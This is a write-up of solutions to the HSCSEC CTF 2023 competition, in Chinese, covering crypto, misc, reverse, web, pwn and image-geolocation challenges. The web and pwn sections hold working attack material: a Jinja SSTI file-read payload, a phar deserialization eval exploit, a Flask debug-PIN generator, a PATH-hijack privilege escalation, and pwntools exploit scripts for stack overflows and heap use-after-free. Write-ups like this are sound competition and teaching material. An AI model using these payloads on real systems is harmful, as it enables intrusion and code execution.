HSCSEC CTF 2023 (HSC-2th 2023)

2023/02/11 00:00 UTC+8 - 2023/02/12 23:59 UTC+8

本届HSC-2th 2023是由中龙技术联合社会战队红客突击队(HSCSEC)举办。 本次比赛将采用在线网络安全夺旗挑战赛的形式,涵盖web,crypto,misc,reverse,pwn等主流方向,并面向全球开放。比赛三甲可获突击队周边礼品。前十名可获得合作伙伴赞助礼品以及实体证书。

Rank: 1


MISC

SIGNIN

关注公众号:中龙 红客突击队 发送:HSCCTF{TELLMEFLAG}获取flag!

公众号签到,HSCSEC{W3Ic0m3_t0_HScCtF2tH}

LINUX

flag2为用户登录的密码
下载:
百度网盘:https://pan.baidu.com/s/1RMGpG391HbgWfOhwYmWx0A?pwd=HSC2
提取码:HSC2
腾讯网盘:https://share.weiyun.com/EyhLtHnF
密码:jyk6t9
奶牛快传: https://cowtransfer.com/s/d83e0de581aa49 点击链接查看 [ LINUX.rar ] ,或访问奶牛快传 cowtransfer.com 输入传输口令 xgzg82 查看;

非预期,直接16进制查看文件,搜字符串 HSCSEC{ 发现:

1
2
3
4
5
6
root@ubuntu:/home/ubuntu/Desktop# history
1 f1aG1:HSCSEC{Lim3_
2 exit
3 ubuntu20.04
4 history
root@ubuntu:/home/ubuntu/Desktop# echo "flag3:_iez}" > /f1Ag3

连接得flag:HSCSEC{Lim3_ubuntu20.04_iez}

Salute

解压得到 encode_salute 文件,尾部有 525d93ceb70e2bf5daa84ec3d0cd2c731a,md5查询得明文 qwer1234,以此为密钥与文件异或,还原得到rar文件。

文件里一张jpg图片一张png图片,用stegsolve查看png图片alpha0通道,有 flag2/key that_is 字样。

再以此为密码,用steghide提取jpg图片的隐藏信息:steghide extract -sf salute.jpg,得到flag文件内容 flag3:_c0ol}

连接为flag:HSCSEC{qwer1234that_is_c0ol}

EZIMG

png图片尾部有01串+反转的png,提取01串做二维码图,扫出内容 flag2:aQR_c0de_and;反转的png还原为新png图,反色处理得到 HSCSEC{p3G_h

少了第三部分,对新png图尝试使用PixelJihad解密,得到 _3nc}

连接为flag:HSCSEC{p3G_haQR_c0de_and_3nc}

Ancient-MISC

Deduced gossip

☲☵ ☷☵☳ ☶空 ☷☵☳ ☶☱ ☶空 ☷空☱ ☶空 ☷☳☰ ☷☳☱ ☷☴☳ ☷☳☳ ☷☴☶ ☷☳☳ ☷☷☰ ☷☳空 ☰☴ ☷☴☶ ☷☴☶ ☷☴空 ☷空☲

猜测为八卦+空一一对应9个数字,根据 HSCSEC{} 对应的九进制数,可知7个符号对应的数,剩下的2个测试即可。

最终对应 80 102 74 102 76 74 146 74 125 126 132 122 137 122 115 124 53 137 137 134 148

转换为十进制:72 83 67 83 69 67 123 67 104 105 110 101 115 101 95 103 48 115 115 112 125

转换为字符串:HSCSEC{Chinese_g0ssp},还得手动补全单词才正确……

flag:HSCSEC{Chinese_g0ssip}

Watch the sky at night

斗木獬角木蛟奎木狼亢金龙 牛金牛女土蝠氐土貉井木犴
虚日鼠房日兔心月狐鬼金羊 危月燕室火猪尾火虎柳土獐
壁水貐箕水豹斗木獬牛金牛 女土蝠角木蛟亢金龙星日马
虚日鼠张月鹿娄金狗翼火蛇 危月燕氐土貉房日兔轸水蚓
室火猪心月狐井木犴胃土雉 壁水貐斗木獬鬼金羊柳土獐
牛金牛尾火虎箕水豹女土蝠 虚日鼠昴日鸡柳土獐毕月乌
危月燕觜火猴角木蛟星日马 室火猪参水猿奎木狼壁水貐
斗木獬娄金狗牛金牛女土蝠 虚日鼠胃土雉张月鹿昴日鸡
危月燕翼火蛇室火猪亢金龙 壁水貐斗木獬轸水蚓井木犴
牛金牛氐土貉房日兔女土蝠 虚日鼠危月燕心月狐尾火虎
室火猪鬼金羊柳土獐壁水貐

查到每三个字组成的词为28星宿里的一种,且根据方位分别归类到青龙、白虎、朱雀、玄武四大类中:

青龙:角木蛟、亢金龙、氐土貉、房日兔、心月狐、尾火虎、箕水豹
玄武:斗木獬、牛金牛、女土蝠、虚日鼠、危月燕、室火猪、壁水貐
白虎:奎木狼、娄金狗、胃土雉、昴日鸡、毕月乌、觜火猴、参水猿
朱雀:井木犴、鬼金羊、柳土獐、星日马、张月鹿、翼火蛇、轸水蚓

按4进制分别替换为0-3,得到 1020 1103 1003 1103 1011 1003 1323 1003 1032 1133 1001 1232 1203 1221 1211 1232 1310 1133 1001 1100 1331

转换为十进制:72 83 67 83 69 67 123 67 78 95 65 110 99 105 101 110 116 95 65 80 125

转换为字符串:HSCSEC{CN_Ancient_AP}

CRYPTO

EZRSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import *
import gmpy2
from flag import m

p = getPrime(1024)
q = getPrime(1024)
n = p * q
print('n =',n)
e = 0x10001
M = m * e * 1 * 2022 * p
c = pow(M,e,n)
print('c =',c)

# n = 16266043783454053154037197753138388613864200794483663334493856481522764684650995230938142916968470804276539967429581472897698022852787399956166067156691430593337430691851251036378709799238876668312530223697905925939542713491015517460139150765778057817475571231361809654951289718071760502692960235551663466242938669673675870151921605230499603814070711617511206013584605131901906195136038060653121164252894949526861390984185085201067988694831398388037080993820517447099157891181179389949333832439004857436617834100885739716577641892686620423154860716308518151628754780994043553863224363539879909831811888663875989774849
# c = 12716190507848578560760116589677996073721225715245215495257947887969923319693501568134141757778665747980229898129090929698368855086594836111461700857934476682700625486249555753323344759513528101651108919161794915999809784961533946922607642974500946026677116418317599095703217004064379100607278317877894742815660315660254853364776654303066021672567442581774299847661025422994141801987588151758971034155714424052693627277202951522779716696303237915400201362585413354036973117149974017434406560929491956957193491445847385625481870256240443170803497196783872213746269940877814806857222191433079944785910813364137603874411

$c = M^e \bmod n = (2022mep)^e \bmod n$,令 $c’ = c \cdot (2022e)^{-e} \bmod n = (mp)^e \bmod n = (m^ep^{e-1} \bmod n) \cdot p$,

故 $\gcd(c’,n)=p$,再利用常规RSA求解。

1
2
3
4
5
6
7
8
9
10
11
12
n = 16266043783454053154037197753138388613864200794483663334493856481522764684650995230938142916968470804276539967429581472897698022852787399956166067156691430593337430691851251036378709799238876668312530223697905925939542713491015517460139150765778057817475571231361809654951289718071760502692960235551663466242938669673675870151921605230499603814070711617511206013584605131901906195136038060653121164252894949526861390984185085201067988694831398388037080993820517447099157891181179389949333832439004857436617834100885739716577641892686620423154860716308518151628754780994043553863224363539879909831811888663875989774849
c = 12716190507848578560760116589677996073721225715245215495257947887969923319693501568134141757778665747980229898129090929698368855086594836111461700857934476682700625486249555753323344759513528101651108919161794915999809784961533946922607642974500946026677116418317599095703217004064379100607278317877894742815660315660254853364776654303066021672567442581774299847661025422994141801987588151758971034155714424052693627277202951522779716696303237915400201362585413354036973117149974017434406560929491956957193491445847385625481870256240443170803497196783872213746269940877814806857222191433079944785910813364137603874411
e = 0x10001
cc = c * inverse_mod(pow(2022*e,e,n),n)
p = gcd(cc,n)
q = n // p
f = (p-1)*(q-1)
d = inverse_mod(e,f)
m = pow(cc,d,n) // p
print(bytes.fromhex(hex(m)[2:]))

# b'flag{3e5e2789a93a80615cc35edbff397c05}'

Operator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/python3
from Crypto.Util.number import bytes_to_long, getPrime

FLAG = "*******************MASK****************"

# print(FLAG)
number1 = getPrime(512)
number2 = getPrime(1024)
print(number1)
result = FLAG * number1 % number2
print(result)

"""
Output:
11488359375916816818731868252559119400126174593041608170883818546254791846479664455120194350355087017477744828351806157930199157462913063513512421460678471
1890846045246997191702622225497063073251667816125412875121879991742654650976309481716690792328873189601779812108551290078049710826355501933349874438201643986975141068179879506727213209273645848165732801667704040761771
"""

$m$ 与 $n_1$ (512位)乘积的大小不会超过 $n_2$ 大小(1024位),故 $c=mn_1$。

1
2
3
4
5
6
n1 = 11488359375916816818731868252559119400126174593041608170883818546254791846479664455120194350355087017477744828351806157930199157462913063513512421460678471
c = 1890846045246997191702622225497063073251667816125412875121879991742654650976309481716690792328873189601779812108551290078049710826355501933349874438201643986975141068179879506727213209273645848165732801667704040761771

print(bytes.fromhex(hex(c//n1)[2:]))

# b'flag{qMmZqWvmj70bBsCfmVLT}'

EZVC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# -*- coding: utf-8 -*-
import flag
alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'
key = 'HSC'
assert flag.startswith('HSCSEC{')
flag_num_list = []
c = []
for item in flag:
flag_num_list.append(alphabet.find(item) + 1)
key_num = alphabet.find(key) + 1
for i in flag_num_list:
m = (i + key_num) % 94 - 1
if m == 0:
c.append("□")
c.append(alphabet[m-1:m])
print("c = {}".format(''.join(c)))

# c = GRBRDB`jg10ij2g01i,g201gi,2gi2,012igaigagi|

代码里面的 key_num 其实固定为0,实际当1,模运算也没啥用,实际是rot1凯撒加密,还原:

1
2
3
4
5
6
c = 'GRBRDB`jg10ij2g01i,g201gi,2gi2,012igaigagi|'
alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'
flag = [alphabet[alphabet.index(k)+1] for k in c]
print(''.join(flag))

# HSCSEC{kh21jk3h12j-h312hj-3hj3-123jhbjhbhj}

WEB

EZSSTI

基本没过滤的SSTI,尝试

?name={{sss.__init__.__globals__.__builtins__.open("/flag").read()}}

报错无法打开 / ,说明 flag 被替换为空,双写绕过即可:

?name={{sss.__init__.__globals__.__builtins__.open("/flflagag").read()}}

EASYPHY

查看首页源码,发现upload和view两个对话框包括关键字段 name="acti0n",抓包看到 ?acti0n=upload 的访问方式,为文件包含漏洞点。

通过设置 acti0n 参数和filter过滤器访问,得到 upload.phpview.php 源码。审计代码,upload.php 中包含上传文件与拦截过滤危险函数的功能,view.php 中有 eval() 函数,只需要修改类中的私有变量 $cmd 就可以拿到shell。

其中 file_exists() 函数结合文件上传可以想到phar反序列化漏洞利用。结合 upload.php 中关键字黑名单,使用 show_source() 函数读取 flag.php 文件。

构造phar文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class View
{
public $dir;
private $cmd;

function __construct()
{
$this->cmd = 'show_source("flag.php");';
}
function __destruct() {
eval($this->cmd);
}
}
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar ->addFromString('test.txt','test');
$object = new View();
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>

本地运行生成 phar.phar,然后直接上传。文件上传成功之后,通过 delete 这个参数来触发 file_exists() 才可以利用phar,POST参数 delete=phar://phar.phar 即可拿到flag。

EZSYFLASK

有一个可以文件包含的路由:GET /view?filename=app.py,得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from flask import Flask,request,render_template_string
app = Flask(__name__)

@app.route("/")
def index():
return 'GET /view?filename=app.py'

@app.route("/view")
def viewFile():
filename = request.args.get('filename')
if("flag" in filename):
return "WAF"
if("cgroup" in filename):
return "WAF"
if("self" in filename):
return "WAF"
try:
with open(filename, 'r') as f:
templates='''
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>文件存在</title>
</head>
<h1>
{}
</h1>
</html>
'''.format(f.read())
return render_template_string(templates)
except Exception as e:
templates='''
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>文件不存在</title>
</head>
<h1>
文件不存在
</h1>
</html>
'''
return render_template_string(templates)

if __name__ == "__main__":
app.run(host="0.0.0.0", port=80, debug=True)

去除参数可以触发debug报错页,计算PIN值可以进入调试模式。由于禁用了 flag/self/cgroup/proc/self/cgroup 获取不到,可以利用 /proc/1/mountinfo 获取docker-id:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# >=3.8 sha1
import hashlib
from itertools import chain
probably_public_bits = [
'app'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]

private_bits = [
str(int('0242ac0208fe',16)),# /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/1/mountinfo
'7265fe765262551a676151a24c02b7b6'+'bcf34bfb0be38980dddd4de1d57a8b7da2de7843ee55ed110016b97f5163406c'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

输入PIN码进入调试模式,在根目录下发现 /flag/readflag/flag 无权限读,而 /readflag 有SUID权限,需要提权:

1
2
3
4
5
6
7
cd /tmp
echo \"/bin/bash\">ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /
./readflag

输入 print(os.popen("cd /tmp;echo \"/bin/bash\">ps;chmod 777 ps;echo $PATH;export PATH=/tmp:$PATH;cd /;./readflag").read()) 得flag。

REVERSE

DECOMPILEONEOONE

照代码逻辑还原即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Util.number import *

c = [0x5C797E8971697066,0x8D83497D7F6F7A3D,0x949DA8758277A9A5,0xB7954D7C]
cc = []

for k in c:
cc += list(long_to_bytes(k)[::-1])

for i in range(28):
if (i&1)!=0:
cc[i] = cc[i]+i+1
else:
cc[i] = cc[i]+i
cc[i] ^= i + 1
cc[i] -= 3 * i + 1

print(bytes(cc))

# b'flag{reV3rSe_1s_sucH_hanD1e}'

Whack-a-mole

动调过反调试和中间的判断条件,使得流程走向正确的处理函数里,最后在 Source 字符串中查看到已修改得到的字符串:w1n32_aPi_iS_FUn,连接得flag:flag{w1n32_aPi_iS_FUn}

Base secrets

rust程序,比较难看,结合题目 Base 跟踪一下代码逻辑,发现编码后的字符串 hexZh3tyVXM3X2AwX35yM+IxRU1nkz5nmWdzhXdF7Qo=

跟进到encode代码部分,提取出码表为 456789+-IJKLMNOPQRSTUVWXghijklmnYZabcdefopqrstuvwxyz0123ABCDEFGH

base64解码得flag:flag{rUs7_n0_pr0b1EM_s0_yisey}

PWN

EZPWN

简单ret2shellcode。

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(arch='amd64')

r=remote('43.143.254.94',10059)

buf2=0x404080
pl=asm(shellcraft.sh()).ljust(0x110,'a')+p64(buf2)+p64(buf2)
r.send(pl)

r.interactive()

Morris II

main() -> fight_system() -> confirm_input() -> read() 中发现明显的栈溢出漏洞,有backdoor,再ret2text即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#coding=utf-8

from pwn import *

r=remote('43.143.254.94',10396)

dontlookatme=0x401236
ret=0x40101a

r.sendlineafter('from below:','0')
r.recvuntil('hero\'s name!:\n')
pl='a'*(0x10+8)+p64(ret)+p64(dontlookatme)
r.send(pl)

r.interactive()

EasyHeap

类似ctf-wiki的hacknote,UAF菜单题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

r=remote('43.143.254.94',10575)
elf=ELF('./Safe_Program')
libc=ELF('./libc-2.31.so')

def add(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)

def dele(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))

def show(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))

magic = 0x80495BD

add(32, "aaaa") # add note 0
add(32, "ddaa") # add note 1

dele(0) # delete note 0
dele(1) # delete note 1

add(8, p32(magic)) # add note 2

show(0) # show note 0

r.interactive()

Safe Program

ret2libc,需要根据泄露地址查询libc为libc-2.31。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

r=remote('43.143.254.94',10914)
elf=ELF('./Safe_Program')
libc=ELF('./libc-2.31.so')

pop_rdi=0x401393
pop_rsi_r15=0x401391
ret=0x40101a
puts_plt=elf.plt.puts
puts_got=elf.got.puts
main=0x401247

r.recvuntil('talk to me now:\n\n')
pl='a'*(0x80+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
r.send(pl)
puts_addr=u64(r.recv(6)+'\x00'*2)
print(hex(puts_addr))

libc_base=puts_addr-libc.sym.puts
print(hex(libc_base))
system=libc_base+libc.sym.system
binsh=libc_base+libc.search('/bin/sh\x00').next()

r.recvuntil('talk to me now:\n\n')
pl='a'*(0x80+8)+p64(pop_rdi)+p64(binsh)+p64(pop_rsi_r15)+p64(0)*2+p64(system)+p64(main)
r.send(pl)

r.interactive()

Social Engineering

Happy Lantern Festival

图片信息有阿勒泰市第十三届元宵灯会,搜索到举办地为五百里风情街,再在地图搜具体地址。

HSCSEC{新疆维吾尔自治区阿勒泰地区阿勒泰市五百里风情街}

Beautiful Lake

放大图片发现宁夏理工学院,搜索宁夏理工学院附近的湖为星海湖,再在地图搜具体地址。

HSCSEC{宁夏回族自治区石嘴山市大武口区星海湖}

Apple Store

百度识图,搜到地点为apple官方(西单大悦城店),再在地图搜具体地址。

HSCSEC{北京市西城区西单北大街131号}

Beautiful Park

百度识图,搜到新闻:华北最大的湿地公园位于碧桂园官厅蓝北侧 五一假期来这里玩水乘凉 看海棠花吧,得到公园名,再在地图搜具体地址。

HSCSEC{河北省张家口市怀来县官厅水库国家湿地公园}

Boat

百度识图定位杭州西湖,再在地图搜具体地址。

HSCSEC{浙江省杭州市西湖区龙井路1号}

Airplane

飞机图片里信息有B-30EL型号,搜索到新闻:又多了一个中型航空公司 重庆航空第30架飞机入列,里面提到 渝兴快线,再根据地面机场特征,与地图比对,为北京大兴国际机场。

HSCSEC{北京市大兴区大兴国际机场}

Tower

百度识图为澳门埃菲尔铁塔,在地图搜具体地址,多次尝试才正确。

HSCSEC{澳门特别行政区路氹填海区澳门路氹金光大道连贯公路澳门巴黎人}

Cable car

一眼重庆索道,根据索道和大桥的视角,在地图上找到大致范围,在利用地图3D模式,发现靠近江边的楼最高,只可能在这栋楼里,否则挡视线。楼里有标注着山什集,在美团上也能看到类似图片的分享,尝试该具体地址成功。

HSCSEC{重庆市渝中区白象居4号楼9-1号}

Romantic firework

图片比较模糊,放大查看消防员衣服背后字样,猜测出甘肃消防,再搜索 甘肃 焰火,看到新闻:甘肃省白银市凌空造出两座”火焰山”,浏阳中洲烟花集团5.5万发高空礼花闪耀元宵夜,新闻中有极其相似的照片;地点为白银城区金岭公园,再在地图搜具体地址。

HSCSEC{甘肃省白银市白银区金岭公园}